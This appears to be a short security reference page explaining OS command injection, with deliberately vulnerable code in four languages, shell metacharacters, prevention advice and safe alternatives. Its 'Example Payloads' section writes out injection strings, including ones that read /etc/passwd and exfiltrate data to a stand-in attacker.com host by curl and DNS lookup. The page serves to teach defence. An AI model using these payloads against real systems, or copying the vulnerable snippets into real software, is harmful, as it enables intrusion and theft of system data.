Command Injection

Command Injection (also called OS Command Injection or Shell Injection) is a vulnerability that allows attackers to execute arbitrary operating system commands on the server by injecting malicious input into system command calls.

How It Works

When an application passes user input to a system shell without proper sanitization, attackers can break out of the intended command and execute their own commands using shell metacharacters.

Vulnerable Code Examples

# Python - vulnerable
os.system("ping " + user_input)

# PHP - vulnerable
system("nslookup " . $_GET['host']);

# Ruby - vulnerable
`ls #{params[:dir]}`

# Java - vulnerable
Runtime.getRuntime().exec("ping " + userInput);

Common Injection Characters

  • ; - Command separator (Unix)
  • && - Execute if previous succeeds
  • || - Execute if previous fails
  • | - Pipe output to another command
  • `command` - Command substitution
  • $(command) - Command substitution
  • \n - Newline (command separator)

Example Payloads

# Basic injection
; whoami
| cat /etc/passwd
&& id

# Blind injection (time-based)
; sleep 10
| ping -c 10 127.0.0.1

# Out-of-band data exfiltration
; curl http://attacker.com/$(whoami)
; nslookup $(cat /etc/passwd | base64).attacker.com

Prevention

  • Avoid shell commands: Use language-native APIs instead of shell execution
  • Use parameterized APIs: Pass arguments as arrays, not concatenated strings
  • Input validation: Allowlist expected characters/patterns
  • Escape shell metacharacters: Use shlex.quote() (Python), escapeshellarg() (PHP)
  • Least privilege: Run processes with minimal permissions

Safe Alternatives

# Python - UNSAFE
os.system("ping " + host)

# Python - SAFE (subprocess with list)
subprocess.run(["ping", "-c", "1", host], capture_output=True)

# PHP - UNSAFE
system("nslookup " . $host);

# PHP - SAFE
$output = dns_get_record($host, DNS_A);

See Also